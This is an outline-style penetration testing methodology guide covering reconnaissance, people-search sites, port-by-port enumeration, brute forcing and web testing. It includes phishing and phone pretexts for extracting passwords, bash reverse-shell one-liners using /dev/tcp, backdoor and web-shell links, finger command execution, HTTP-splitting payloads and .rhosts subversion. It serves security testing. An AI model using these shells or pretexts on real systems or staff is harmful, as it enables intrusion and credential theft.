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Penetration Testing Framework 0.59

Pre-Inspection Visit - template
Network Footprinting (Reconnaissance) The tester would attempt to gather as much information as possible about the selected network. Reconnaissance can take two forms i.e.
active and passive. A passive attack is always the best starting point as this would normally defeat intrusion detection systems and other forms of protection etc. afforded to the
network. This would usually involve trying to discover publicly available information by utilising a web browser and visiting newsgroups etc. An active form would be more intrusive
and may show up in audit logs and may take the form of an attempted DNS zone transfer or a social engineering type of attack.
Whois is widely used for querying authoritative registries/ databases to discover the owner of a domain name, an IP address, or an autonomous system number of the
system you are targeting.
Authoratitive Bodies
IANA - Internet Assigned Numbers Authority
ICANN - Internet Corporation for Assigned Names and Numbers.
NRO - Number Resource Organisation
RIR - Regional Internet Registry
AFRINIC - African Network Information Centre
APNIC - Asia Pacific Network Information Centre
National Internet Registry
APJII
CNNIC
JPNIC
KRNIC
TWNIC
VNNIC
ARIN - American Registry for Internet Numbers
LACNIC - Latin America & Caribbean Network Information Centre
RIPE - Reseaux IP EuropensNetwork Coordination Centre
Websites
Central Ops
Domain Dossier
Email Dossier
DNS Stuff
Online DNS one-stop shop, with the ability to perform a great deal of disparate DNS type queries.
Fixed Orbit
Autonomous System lookups and other online tools available.
Geektools
IP2Location
Allows limited free IP lookups to be performed, displaying geolocation information, ISP details and other pertinent information.
Kartoo
Metasearch engine that visually presents its results.
MyIPNeighbors.com
Excellent site that gives you details of shared domains on the IP queried/ conversely IP to DNS resolution
My-IP-Neighbors.com
Excellent site that can be used if the above is down
myipneighbors.net
Netcraft
Online search tool allowing queries for host information.
Passive DNS Replication
Finds shared domains based on supplied IP addresses
Note: - Website utilised by nmap hostmap.nse script
Robtex
Excellent website allowing DNS and AS lookups to be performed with a graphical display of the results with pointers, A, MX records and AS connectivity
displayed.
Note: - Can be unreliable with old entries (Use CentralOps to verify)
Traceroute.org
Website listing a large number links to online traceroute resources.
Wayback Machine
Stores older versions of websites, making it a good comparison tool and excellent resource for previously removed data.
Whois.net
Tools
Cheops-ng
Country whois
Domain Research Tool
Firefox Plugins
AS Number
Shazou
Firecat Suite
Gnetutil
Goolag Scanner
Greenwich
Maltego
GTWhois

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Sam Spade
Smart whois
SpiderFoot

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Internet Search
General Information
Web Investigator
Tracesmart
Friends Reunited
Ebay - profiles etc.
Financial
EDGAR - Company information, including real-time filings. US
Google Finance - General Finance Portal
Hoovers - Business Intelligence, Insight and Results. US and UK
Companies House UK
Land Registry UK
Phone book/ Electoral Role Information
123people
http://www.123people.co.uk/s/firstname+lastname/world
192.com
Electoral Role Search. UK
411
Online White Pages and Yellow Pages. US

Abika
Background Check, Phone Number Lookup, Trace email, Criminal record, Find People, cell phone number search, License Plate Search. US
BT.com. UK
Residential
Business
Pipl
http://pipl.com/search/?FirstName=????&LastName=????&City=&State=&Country=UK&CategoryID=2&Interface=1
http://pipl.com/search/?Email=john%40example.com&CategoryID=4&Interface=1
http://pipl.com/search/?Username=????&CategoryID=5&Interface=1
Spokeo
http://www.spokeo.com/user?q=domain_name
http://www.spokeo.com/user?q=email_address
Yasni
http://www.yasni.co.uk/index.php?action=search&search=1&sh=&name=firstname+lastname&filter=Keyword
Zabasearch
People Search Engine. US
Generic Web Searching
Code Search
Forum Entries
Google Hacking Database
Google
Back end files
.exe / .txt / .doc / .ppt / .pdf / .vbs / .pl / .sh / .bat / .sql / .xls / .mdb / .conf
Email Addresses
Contact Details
Newsgroups/forums
Blog Search
Yammer
Google Blog Search
http://blogsearch.google.com/blogsearch?hl=en&ie=UTF-8&q=????&btnG=Search+Blogs
Technorati
http://technorati.com/search/[query]?language=n
Jaiku
Present.ly
Twitter Network Browser
Search Engine Comparison/ Aggregator Sites
Clusty
http://clusty.com/search?input-form=clusty-simple&v%3Asources=webplus&query=????
Grokker
http://live.grokker.com/grokker.html?query=?????&OpenSearch_Yahoo=true&Wikipedia=true&numResults=250
Zuula
http://www.zuula.com/SearchResult.jsp?bst=1&prefpg=1&st=????&x=0&y=0
Exalead
http://www.exalead.co.uk/search/results?q=????&x=0&y=0&%24mode=allweb&%24searchlanguages=en
Delicious
http://delicious.com/search?p=?????&u=&chk=&context=&fr=del_icio_us&lc=0
Metadata Search
Metadata can be found within various file formats. Dependant on the file types to be inspected, the more metadata can be extracted. Example metadata that can
be extracted includes valid usernames, directory structures etc. make the review of documents/ images etc. relating to the target domain a valuable source of
information.

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MetaData Visualisation Sites

TouchGraph Google Browser
Kartoo

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Tools
Bashitsu
svn checkout http://bashitsu.googlecode.com/svn/trunk/
cat filename | strings | bashitsu-extract-names
Bintext
Exif Tool
exiftool -common directory
exiftool -r -w .txt -common directory
FOCA
Online Version
Offline
Hachoir
Infocrobes
Libextractor
extract -b filename
extract filename
extract -B country_code filename
Metadata Extraction Tool
extract.bat <arg1> <arg2> <arg3>
Metagoofil
metagoofil -d target_domain -l max_no_of_files -f all ( or pdf,doc,xls,ppt) -o output_file.html -t directory_to_download_files_to
OOMetaExtractor
The Revisionist
./therev '' @/directory
./therev '' site.com
./therev 'linux' microsoft.com en
Wvware
Wikipedia Metadata Search
Wikiscanner
Wikipedia username checker
Social/ Business Networks
The following sites are some of many social and business related networking entities that are in use today.??Dependant on the interests of the people you are
researching it may be worth just exploring sites that they have a particular penchant based on prior knowledge from open source research, company biographies
etc. i.e. Buzznet if they are interested in music/ pop culture, Flixter for movies etc.
Finding a persons particular interests may make a potential client side attack more successful if you can find a related "hook" in any potential "spoofed" email sent
for them to click on (A Spearphishing technique)
Note: - This list is not exhaustive and has been limited to those with over 1 million members.
Africa
BlackPlanet
Australia
Bebo
Belgium
Netlog
Holland
Hyves
Hungary
iWiW
Iran
Cloob
Japan
Mixi
Korea
CyWorld
Poland
Grono
Nasza-klasa
Russia
Odnoklassniki
Vkontakte
Sweden
LunarStorm
UK
FriendsReunited et al
Badoo
FaceParty
US
Classmates
Facebook
Friendster
MyLife.com (formerly Reunion.com)
MySpace
Windows Live Spaces
Assorted

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Buzznet
Care2
Habbo
Hi5
Linkedin
MocoSpace
Naymz
Orkut
Passado
Tagged
Twitter
Windows Live Spaces
Xanga
Yahoo! 360

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Xing
http://www.xing.com/app/search?op=universal&universal=????
Resources
OSINT
International Directory of Search Engines
DNS Record Retrieval from publically available servers
Types of Information Records
SOA Records - Indicates the server that has authority for the domain.
MX Records - List of a hosts or domains mail exchanger server(s).
NS Records - List of a hosts or domains name server(s).
A Records - An address record that allows a computer name to be translated to an IP address. Each computer has to have this record for its IP address to be
located via DNS.
PTR Records - Lists a hosts domain name, host identified by its IP address.
SRV Records - Service location record.
HINFO Records - Host information record with CPU type and operating system.
TXT Records - Generic text record.
CNAME - A hosts canonical name allows additional names/ aliases to be used to locate a computer.
RP - Responsible person for the domain.
Database Settings
Version.bind
Serial
Refresh
Retry
Expiry
Minimum
Sub Domains
Internal IP ranges
Reverse DNS for IP Range
Zone Transfer
Social Engineering
Remote
Phone
Scenarios
IT Department."Hi, it's Zoe from the helpdesk. I am doing a security audit of the networkand I need to re-synchronise the Active Directory usernames and
passwords.This is so that your logon process in the morning receives no undue delays"If you are calling from a mobile number, explain that the helpdesk
has beenissued a mobile phone for 'on call' personnel.
Results
Contact Details
Name
Phone number
Email
Room number
Department
Role
Email
Scenarios
Hi there, I am currently carrying out an Active Directory Health Checkfor TARGET COMPANY and require to re-synchronise some outstandingaccounts
on behalf of the IT Service Desk. Please reply to medetailing the username and password you use to logon to your desktopin the morning. I have
checked with MR JOHN DOE, the IT SecurityAdvisor and he has authorised this request. I will then populate thedatabase with your account details ready
for re-synchronisation withActive Directory such that replication of your account will bere-established (this process is transparent to the user and
sorequires no further action from yourself). We hope that this exercisewill reduce the time it takes for some users to logon to the network.Best Regards,
Andrew Marks
Good Morning,The IT Department had a critical failure last night regarding remote access to the corporate network, this will only affect users that
occasionally work from home.If you have remote access, please email me with your username and access requirements e.g. what remote access
system did you use? VPN and IP address etc, and we will reset the system. We are also using this 'opportunity' to increase the remote access users, so
if you believe you need to work from home occasionally, please email me your usernames so I can add them to the correct groups.If you wish to retain
your current credentials, also send your password. We do not require your password to carry out the maintainence, but it will change if you do not inform
us of it.We apologise for any inconvenience this failure has caused and are working to resolve it as soon as possible. We also thank you for your
continued patience and help.Kindest regards,leeEMAIL SIGNATURE
Software
Results
Contact Details
Name
Phone number
Email
Room number
Department
Role

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Other

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Local
Personas
Name
Suggest same 1st name.
Phone
Give work mobile, but remember they have it!
Email
Have a suitable email address
Business Cards
Get cards printed
Contact Details
Name
Phone number
Email
Room number
Department
Role
Scenarios
New IT employee
New IT employee."Hi, I'm the new guy in IT and I've been told to do a quick survey of users on the network. They give all the worst jobs to the new guys
don't they? Can you help me out on this?"Get the following information, try to put a "any problems with it we can help with?" slant on
it.UsernameDomainRemote access (Type - Modem/VPN)Remote email (OWA)Most used software?Any comments about the network?Any additional
software you would like?What do you think about the security on the network? Password complexity etc.Now give reasons as to why they have
complexity for passwords, try and get someone to give you their password and explain how you can make it more secure."Thanks very much and you'll
see the results on the company boards soon."
Fire Inspector
Turning up on the premise of a snap fire inspection, in line with the local government initiatives on fire safety in the workplace.Ensure you have a suitable
appearance - High visibility jacket - Clipboard - ID card (fake).Check for:number of fire extinguishers, pressure, type.Fire exits, accessibility etc.Look for
any information you can get. Try to get on your own, without supervision!
Results
Maps
Satalitte Imagery
Google Maps
Building layouts
Other
Dumpster Diving
Rubbish Bins
Contract Waste Removal
Ebay ex-stock sales i.e. HDD
Web Site copy
htttrack
teleport pro
Black Widow
Discovery & Probing. Enumeration can serve two distinct purposes in an assessment: OS Fingerprinting Remote applications being served. OS fingerprinting or TCP/IP stack
fingerprinting is the process of determining the operating system being utilised on a remote host. This is carried out by analyzing packets received from the host in question. There
are two distinct ways to OS fingerprint, actively (i.e. nmap) or passively (i.e. scanrand). Passive OS fingerprinting determines the remote OS utilising the packets received only
and does not require any packets to be sent. Active OS fingerprinting is very noisy and requires packets to be sent to the remote host and waits for a reply, (or lack thereof).
Disparate OS's respond differently to certain types of packet, (the response is governed by an RFC and any proprietary responses the vendor (notably Microsoft) has enabled
within the system) and so custom packets may be sent. Remote applications being served on a host can be determined by an open port on that host. By port scanning it is then
possible to build up a picture of what applications are running and tailor the test accordingly.
Default Port Lists
Windows
*nix
Enumeration tools and techniques - The vast majority can be used generically, however, certain bespoke application require there own specific toolsets to be used. Default
passwords are platform and vendor specific
General Enumeration Tools
nmap
nmap -n -A -PN -p- -T Agressive -iL nmap.targetlist -oX nmap.syn.results.xml
nmap -sU -PN -v -O -p 1-30000 -T polite -iL nmap.targetlist > nmap.udp.results
nmap -sV -PN -v -p 21,22,23,25,53,80,443,161 -iL nmap.targets > nmap.version.results
nmap -A -sS -PN -n --script:all ip_address --reason
grep "appears to be up" nmap_saved_filename | awk -F\( '{print $2}' | awk -F\) '{print $1}' > ip_list
netcat
nc -v -n IP_Address port
nc -v -w 2 -z IP_Address port_range/port_number
amap
amap -bqv 192.168.1.1 80
amap [-A|-B|-P|-W] [-1buSRHUdqv] [[-m] -o <file>] [-D <file>] [-t/-T sec] [-c cons] [-C retries] [-p proto] [-i <file>] [target port [port] ...]
xprobe2
xprobe2 192.168.1.1
sinfp
./sinfp.pl -i -p
nbtscan
nbtscan [-v] [-d] [-e] [-l] [-t timeout] [-b bandwidth] [-r] [-q] [-s separator] [-m retransmits] (-f filename) | (<scan_range>)
hping
hping ip_address
scanrand

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scanrand ip_address:all

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unicornscan
unicornscan [options `b:B:d:De:EFhi:L:m:M:pP:q:r:R:s:St:T:w:W:vVZ:' ] IP_ADDRESS/ CIDR_NET_MASK: S-E
netenum
netenum network/netmask timeout
fping
fping -a -d hostname/ (Network/Subnet_Mask)
Firewall Specific Tools
firewalk
firewalk -p [protocol] -d [destination_port] -s [source_port] [internal_IP] [gateway_IP]
ftester
host 1 ./ftestd -i eth0 -v host 2 ./ftest -f ftest.conf -v -d 0.01 then ./freport ftest.log ftestd.log
Default Passwords (Examine list)
Passwords A
Passwords B
Passwords C
Passwords D
Passwords E
Passwords F
Passwords G
Passwords H
Passwords I
Passwords J
Passwords K
Passwords L
Passwords M
Passwords N
Passwords O
Passwords P
Passwords R
Passwords S
Passwords T
Passwords U
Passwords V
Passwords W
Passwords X
Passwords Y
Passwords Z
Passwords (Numeric)
Active Hosts
Open TCP Ports
Closed TCP Ports
Open UDP Ports
Closed UDP Ports
Service Probing
SMTP Mail Bouncing
Banner Grabbing
Other
HTTP
Commands
JUNK / HTTP/1.0
HEAD / HTTP/9.3
OPTIONS / HTTP/1.0
HEAD / HTTP/1.0
Extensions
WebDAV
ASP.NET
Frontpage
OWA
IIS ISAPI
PHP
OpenSSL
HTTPS
Use stunnel to encapsulate traffic.
SMTP
POP3
FTP
If banner altered, attempt anon logon and execute: 'quote help' and 'syst' commands.
ICMP Responses
Type 3 (Port Unreachable)
Type 8 (Echo Request)
Type 13 (Timestamp Request)
Type 15 (Information Request)
Type 17 (Subnet Address Mask Request)
Responses from broadcast address
Source Port Scans
TCP/UDP 53 (DNS)
TCP 20 (FTP Data)
TCP 80 (HTTP)
TCP/UDP 88 (Kerberos)

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Firewall Assessment
Firewalk
TCP/UDP/ICMP responses

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OS Fingerprint
Enumeration
Daytime port 13 open
nmap nse script
daytime
FTP port 21 open
Fingerprint server
telnet ip_address 21 (Banner grab)
Run command ftp ip_address
[email protected]
Check for anonymous access
ftp ip_addressUsername: anonymous OR anonPassword: [email protected]
Password guessing
Hydra brute force
medusa
Brutus
Examine configuration files
ftpusers
ftp.conf
proftpd.conf
MiTM
pasvagg.pl
SSH port 22 open
Fingerprint server
telnet ip_address 22 (banner grab)
scanssh
scanssh -p -r -e excludes random(no.)/Network_ID/Subnet_Mask
Password guessing
ssh root@ip_address
guess-who
./b -l username -h ip_address -p 22 -2 < password_file_location
Hydra brute force
brutessh
Ruby SSH Bruteforcer
Examine configuration files
ssh_config
sshd_config
authorized_keys
ssh_known_hosts
.shosts
SSH Client programs
tunnelier
winsshd
putty
winscp
Telnet port 23 open
Fingerprint server
telnet ip_address
Common Banner ListOS/BannerSolaris 8/SunOS 5.8Solaris 2.6/SunOS 5.6Solaris 2.4 or 2.5.1/Unix(r) System V Release 4.0 (hostname)SunOS 4.1.x/SunOS
Unix (hostname)FreeBSD/FreeBSD/i386 (hostname) (ttyp1)NetBSD/NetBSD/i386 (hostname) (ttyp1)OpenBSD/OpenBSD/i386 (hostname) (ttyp1)Red Hat
8.0/Red Hat Linux release 8.0 (Psyche)Debian 3.0/Debian GNU/Linux 3.0 / hostnameSGI IRIX 6.x/IRIX (hostname)IBM AIX 4.1.x/AIX Version 4 (C)
Copyrights by IBM and by others 1982, 1994.IBM AIX 4.2.x or 4.3.x/AIX Version 4 (C) Copyrights by IBM and by others 1982, 1996.Nokia IPSO/IPSO
(hostname) (ttyp0)Cisco IOS/User Access VerificationLivingston ComOS/ComOS - Livingston PortMaster
telnetfp
Password Attack
Common passwords
Hydra brute force
Brutus
telnet -l "-froot" hostname (Solaris 10+)
Examine configuration files
/etc/inetd.conf
/etc/xinetd.d/telnet
/etc/xinetd.d/stelnet
Sendmail Port 25 open
Fingerprint server
telnet ip_address 25 (banner grab)
Mail Server Testing
Enumerate users
VRFY username (verifies if username exists - enumeration of accounts)
EXPN username (verifies if username is valid - enumeration of accounts)

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Mail Spoof Test

HELO anything MAIL FROM: spoofed_address RCPT TO:valid_mail_account DATA . QUIT

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Mail Relay Test

HELO anything
Identical to/from - mail from: <nobody@domain> rcpt to: <nobody@domain>
Unknown domain - mail from: <user@unknown_domain>
Domain not present - mail from: <user@localhost>
Domain not supplied - mail from: <user>
Source address omission - mail from: <> rcpt to: <nobody@recipient_domain>
Use IP address of target server - mail from: <user@IP_Address> rcpt to: <nobody@recipient_domain>
Use double quotes - mail from: <user@domain> rcpt to: <"user@recipent-domain">
User IP address of the target server - mail from: <user@domain> rcpt to: <nobody@recipient_domain@[IP Address]>
Disparate formatting - mail from: <user@[IP Address]> rcpt to: <@domain:nobody@recipient-domain>
Disparate formatting2 - mail from: <user@[IP Address]> rcpt to: <recipient_domain!nobody@[IP Address]>
Examine Configuration Files
sendmail.cf
submit.cf
DNS port 53 open
Fingerprint server/ service
host
host [-aCdlnrTwv ] [-c class ] [-N ndots ] [-R number ] [-t type ] [-W wait ] name [server ] -v verbose format -t (query type) Allows a user to specify a record type
i.e. A, NS, or PTR. -a Same as t ANY. -l Zone transfer (if allowed). -f Save to a specified filename.
nslookup
nslookup [ -option ... ] [ host-to-find | - [ server ]]
dig
dig [ @server ] [-b address ] [-c class ] [-f filename ] [-k filename ] [-p port# ] [-t type ] [-x addr ] [-y name:key ] [-4 ] [-6 ] [name ] [type ] [class ] [queryopt... ]
whois-h Use the named host to resolve the query -a Use ARIN to resolve the query -r Use RIPE to resolve the query -p Use APNIC to resolve the query -Q
Perform a quick lookup
DNS Enumeration
Bile Suite
perl BiLE.pl [website] [project_name]
perl BiLE-weigh.pl [website] [input file]
perl vet-IPrange.pl [input file] [true domain file] [output file] <range>
perl vet-mx.pl [input file] [true domain file] [output file]
perl exp-tld.pl [input file] [output file]
perl jarf-dnsbrute [domain_name] (brutelevel) [file_with_names]
perl qtrace.pl [ip_address_file] [output_file]
perl jarf-rev [subnetblock] [nameserver]
txdns
txdns -rt -t domain_name
txdns -x 50 -bb domain_name
txdns --verbose -fm wordlist.dic --server ip_address -rr SOA domain_name -h c: \hostlist.txt
nmap nse scripts
dns-random-srcport
dns-random-txid
dns-recursion
dns-zone-transfer
Examine Configuration Files
host.conf
resolv.conf
named.conf
TFTP port 69 open
TFTP Enumeration
tftp ip_address PUT local_file
tftp ip_address GET conf.txt (or other files)
Solarwinds TFTP server
tftp i <IP> GET /etc/passwd (old Solaris)
TFTP Bruteforcing
TFTP bruteforcer
Cisco-Torch
Finger Port 79 open
User enumeration
finger 'a b c d e f g h' @example.com
finger [email protected]
finger [email protected]
finger [email protected]
finger [email protected]
finger **@example.com
finger [email protected]
finger @example.com
nmap nse script
finger
Command execution
finger "|/bin/[email protected]"
finger "|/bin/ls -a /@example.com"
Finger Bounce
finger user@host@victim
finger @internal@external
Web Ports 80,8080 etc. open

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Fingerprint server
Telnet ip_address port

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Firefox plugins
All
firecat
Specific
add n edit cookies
asnumber
header spy
live http headers
shazou
web developer
Crawl website
lynx [options] startfile/URL Options include -traversal -crawl -dump -image_links -source
httprint
Metagoofil
metagoofil.py -d [domain] -l [no. of] -f [type] -o results.html
Web Directory enumeration
Nikto
nikto [-h target] [options]
DirBuster
Wikto
Goolag Scanner
Vulnerability Assessment
Manual Tests
Default Passwords
Install Backdoors
ASP
http://packetstormsecurity.org/UNIX/penetration/aspxshell.aspx.txt
Assorted
http://michaeldaw.org/projects/web-backdoor-compilation/
http://open-labs.org/hacker_webkit02.tar.gz
Perl
http://home.arcor.de/mschierlm/test/pmsh.pl
http://pentestmonkey.net/tools/perl-reverse-shell/
http://freeworld.thc.org/download.php?t=r&f=rwwwshell-2.0.pl.gz
PHP
http://php.spb.ru/remview/
http://pentestmonkey.net/tools/php-reverse-shell/
http://pentestmonkey.net/tools/php-findsock-shell/
Python
http://matahari.sourceforge.net/
TCL
http://www.irmplc.com/download_pdf.php?src=Creating_Backdoors_in_Cisco_IOS_using_Tcl.pdf&force=yes
Bash Connect Back Shell
GnuCitizen
Atttack Box: nc -l -p Port -vvv
Victim: $ exec 5<>/dev/tcp/IP_Address/Port
Victim: $ cat <&5 | while read line; do $line 2>&5 >&5; done
Neohapsis
Atttack Box: nc -l -p Port -vvv
Victim: $ exec 0</dev/tcp/IP_Address/Port # First we copy our connection over stdin
Victim: $ exec 1>&0 # Next we copy stdin to stdout
Victim: $ exec 2>&0 # And finally stdin to stderr

Victim: $

exec /bin/sh 0</dev/tcp/IP_Address/Port 1>&0 2>&0

Method Testing
nc IP_Adress Port
HEAD / HTTP/1.0
OPTIONS / HTTP/1.0
PROPFIND / HTTP/1.0
TRACE / HTTP/1.1
PUT http://Target_URL/FILE_NAME
POST http://Target_URL/FILE_NAME HTTP/1.x
Upload Files
curl
curl -u <username:password> -T file_to_upload <Target_URL>
curl -A "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)" <Target_URL>
put.pl
put.pl -h target -r /remote_file_name -f local_file_name
webdav
cadaver
View Page Source
Hidden Values
Developer Remarks
Extraneous Code
Passwords!

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Input Validation Checks

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NULL or null
Possible error messages returned.
' , " , ; , <!
Breaks an SQL string or query; used for SQL, XPath and XML Injection tests.
,=,+,"
Used to craft SQL Injection queries.
, &, ! , , < , >
Used to find command execution vulnerabilities.
"><script>alert(1)</script>
Basic Cross-Site Scripting Checks.
%0d%0a
Carriage Return (%0d) Line Feed (%0a)
HTTP Splitting
language=?foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d
%0aContent-Length:%2047%0d%0a%0d%0a<html>Insert undesireable content here</html>
i.e. Content-Length= 0 HTTP/1.1 200 OK Content-Type=text/html Content-Length=47<html>blah</html>
Cache Poisoning
language=?foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20304%20Not%20Modified%0d%0aContent-Type:%20text
/html%0d%0aLast-Modified:%20Mon,%2027%20Oct%202003%2014:50:18%20GMT%0d%0aContent-Length:%2047%0d%0a
%0d%0a<html>Insert undesireable content here</html>
%7f , %ff
byte-length overflows; maximum 7- and 8-bit values.
-1, other
Integer and underflow vulnerabilities.
%n , %x , %s
Testing for format string vulnerabilities.
../
Directory Traversal Vulnerabilities.
% , _, *
Wildcard characters can sometimes present DoS issues or information disclosure.
Ax1024+
Overflow vulnerabilities.
Automated table and column iteration
orderby.py
./orderby.py www.site.com/index.php?id=
d3sqlfuzz.py
./d3sqlfuzz.py www.site.com/index.php?id=-1+UNION+ALL+SELECT+1,COLUMN,3+FROM+TABLE-Vulnerability Scanners
Acunetix
Grendelscan
NStealth
Obiwan III
w3af
Specific Applications/ Server Tools
Domino
dominoaudit
dominoaudit.pl [options] -h <IP>
Joomla
cms_few
./cms.py <site-name>
joomsq
./joomsq.py <IP>
joomlascan
./joomlascan.py <site> <options>??[options i.e. -p/-proxy <host:port> : Add proxy support?-404 : Don't show 404 responses]
joomscan
./joomscan.py -u "www.site.com/joomladir/" -o site.txt -p 127.0.0.1:80
jscan
jscan.pl -f hostname
(shell.txt required)
aspaudit.pl
asp-audit.pl http://target/app/filename.aspx (options i.e. -bf)
Vbulletin
vbscan.py
vbscan.py <host> <port> -v
vbscan.py -update
ZyXel
zyxel-bf.sh
snmpwalk
snmpwalk -v2c -c public IP_Address 1.3.6.1.4.1.890.1.2.1.2
snmpget
snmpget -v2c -c public IP_Address 1.3.6.1.4.1.890.1.2.1.2.6.0
Proxy Testing
Burpsuite

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Crowbar
Interceptor
Paros
Requester Raw
Suru
WebScarab
Zap

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Examine configuration files

Generic
Examine httpd.conf/ windows config files
JBoss
JMX Console http://<IP>:8080/jmxconcole/
War File
Joomla
configuration.php
diagnostics.php
joomla.inc.php
config.inc.php
Mambo
configuration.php
config.inc.php
Wordpress
setup-config.php
wp-config.php
ZyXel
/WAN.html (contains PPPoE ISP password)
/WLAN_General.html and /WLAN.html (contains WEP key)
/rpDyDNS.html (contains DDNS credentials)
/Firewall_DefPolicy.html (Firewall)
/CF_Keyword.html (Content Filter)
/RemMagWWW.html (Remote MGMT)
/rpSysAdmin.html (System)
/LAN_IP.html (LAN)
/NAT_General.html (NAT)
/ViewLog.html (Logs)
/rpFWUpload.html (Tools)
/DiagGeneral.html (Diagnostic)
/RemMagSNMP.html (SNMP Passwords)
/LAN_ClientList.html (Current DHCP Leases)
Config Backups
/RestoreCfg.html
/BackupCfg.html
Note: - The above config files are not human readable and the following tool is required to breakout possible admin credentials and other important
settings
ZyXEL Config Reader
Examine web server logs
c:\winnt\system32\Logfiles\W3SVC1
awk -F " " '{print $3,$11} filename | sort | uniq
References
White Papers
Cross Site Request Forgery: An Introduction to a Common Web Application Weakness
Attacking Web Service Security: Message Oriented Madness, XML Worms and Web Service Security Sanity
Blind Security Testing - An Evolutionary Approach
Command Injection in XML Signatures and Encryption
Input Validation Cheat Sheet
SQL Injection Cheat Sheet
Books
Hacking Exposed Web 2.0
Hacking Exposed Web Applications
The Web Application Hacker's Handbook
Exploit Frameworks
Brute-force Tools
Acunetix
Metasploit
w3af
Portmapper port 111 open
rpcdump.py
rpcdump.py username:password@IP_Address port/protocol (i.e. 80/HTTP)
rpcinfo
rpcinfo [options] IP_Address
NTP Port 123 open
NTP Enumeration
ntpdc -c monlist IP_ADDRESS
ntpdc -c sysinfo IP_ADDRESS
ntpq
host
hostname
ntpversion

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readlist
version

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Examine configuration files

ntp.conf
nmap nse script
ntp-info
NetBIOS Ports 135-139,445 open
NetBIOS enumeration
Enum
enum <-UMNSPGLdc> <-u username> <-p password> <-f dictfile> <hostname|ip>
Null Session
net use \\192.168.1.1\ipc$ "" /u:""
net view \\ip_address
Dumpsec
Smbclient
smbclient -L //server/share password options
Superscan
Enumeration tab.
user2sid/sid2user
Winfo
NetBIOS brute force
Hydra
Brutus
Cain & Abel
getacct
NAT (NetBIOS Auditing Tool)
Examine Configuration Files
Smb.conf
lmhosts
SNMP port 161 open
Default Community Strings
public
private
cisco
cable-docsis
ILMI
MIB enumeration
Windows NT
.1.3.6.1.2.1.1.5 Hostnames
.1.3.6.1.4.1.77.1.4.2 Domain Name
.1.3.6.1.4.1.77.1.2.25 Usernames
.1.3.6.1.4.1.77.1.2.3.1.1 Running Services
.1.3.6.1.4.1.77.1.2.27 Share Information
Solarwinds MIB walk
Getif
snmpwalk
snmpwalk -v <Version> -c <Community string> <IP>
Snscan
Applications
ZyXel
snmpget -v2c -c <Community String> <IP> 1.3.6.1.4.1.890.1.2.1.2.6.0
snmpwalk -v2c -c <Community String> <IP> 1.3.6.1.4.1.890.1.2.1.2
nmap nse script
snmp-sysdescr
SNMP Bruteforce
onesixtyone
onesixytone -c SNMP.wordlist <IP>
cat
./cat -h <IP> -w SNMP.wordlist
Solarwinds SNMP Brute Force
ADMsnmp
nmap nse script
snmp-brute
Examine SNMP Configuration files
snmp.conf
snmpd.conf
snmp-config.xml
LDAP Port 389 Open
ldap enumeration
ldapminer
ldapminer -h ip_address -p port (not required if default) -d
luma
Gui based tool
ldp

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openldap
ldapsearch [-n] [-u] [-v] [-k] [-K] [-t] [-A] [-L[L[L]]] [-M[M]] [-d debuglevel] [-f file] [-D binddn] [-W] [-w passwd] [-y passwdfile] [-H ldapuri] [-h ldaphost] [-p
ldapport] [-P 2|3] [-b searchbase] [-s base|one|sub] [-a never|always|search|find] [-l timelimit] [-z sizelimit] [-O security-properties] [-I] [-U authcid] [-R realm]
[-x] [-X authzid] [-Y mech] [-Z[Z]] filter [attrs...]
ldapadd [-c][-S file][-n][-v][-k][-K][-M[M]][-d debuglevel][-D binddn][-W][-w passwd][-y passwdfile][-h ldaphost][-p ldap-port][-P 2|3][-O security-properties]
[-I][-Q][-U authcid][-R realm][-x][-X authzid][-Y mech][-Z[Z]][-f file]
ldapdelete [-n][-v][-k][-K][-c][-M[M]][-d debuglevel][-f file][-D binddn][-W][-w passwd][-y passwdfile][-H ldapuri][-h ldaphost][-P 2|3][-p ldapport][-O securityproperties][-U authcid][-R realm][-x][-I][-Q] [-X authzid][-Y mech][-Z[Z]][dn]
ldapmodify [-a][-c][-S file][-n][-v][-k][-K][-M[M]][-d debuglevel][-D binddn][-W][-w passwd][-y passwdfile][-H ldapuri][-h ldaphost][-p ldapport][-P 2|3][-O securityproperties][-I][-Q][-U authcid][-R realm][-x][-X authzid][-Y mech][-Z[Z]][-f file]
ldapmodrdn [-r][-n][-v][-k][-K][-c][-M[M]][-d debuglevel][-D binddn][-W][-w passwd][-y passwdfile] [-H ldapuri][-h ldaphost][-p ldapport][-P 2|3][-O securityproperties][-I][-Q][-U authcid][-R realm][-x] [-X authzid][-Y mech][-Z[Z]][-f file][dn rdn]
ldap brute force
bf_ldap
bf_ldap -s server -d domain name -u|-U username | users list file name -L|-l passwords list | length of passwords to generate optional: -p port (default 389) -v
(verbose mode) -P Ldap user path (default ,CN=Users,)
K0ldS
LDAP_Brute.pl
Examine Configuration Files
General
containers.ldif
ldap.cfg
ldap.conf
ldap.xml
ldap-config.xml
ldap-realm.xml
slapd.conf
IBM SecureWay V3 server
V3.sas.oc
Microsoft Active Directory server
msadClassesAttrs.ldif
Netscape Directory Server 4
nsslapd.sas_at.conf
nsslapd.sas_oc.conf
OpenLDAP directory server
slapd.sas_at.conf
slapd.sas_oc.conf
Sun ONE Directory Server 5.1
75sas.ldif
PPTP/L2TP/VPN port 500/1723 open
Enumeration
ike-scan
ike-probe
Brute-Force
ike-crack
Reference Material
PSK cracking paper
SecurityFocus Infocus
Scanning a VPN Implementation
Modbus port 502 open
modscan
rlogin port 513 open
Rlogin Enumeration
Find the files
find / -name .rhosts
locate .rhosts
Examine Files
cat .rhosts
Manual Login
rlogin hostname -l username
rlogin <IP>
Subvert the files
echo ++ > .rhosts
Rlogin Brute force
Hydra
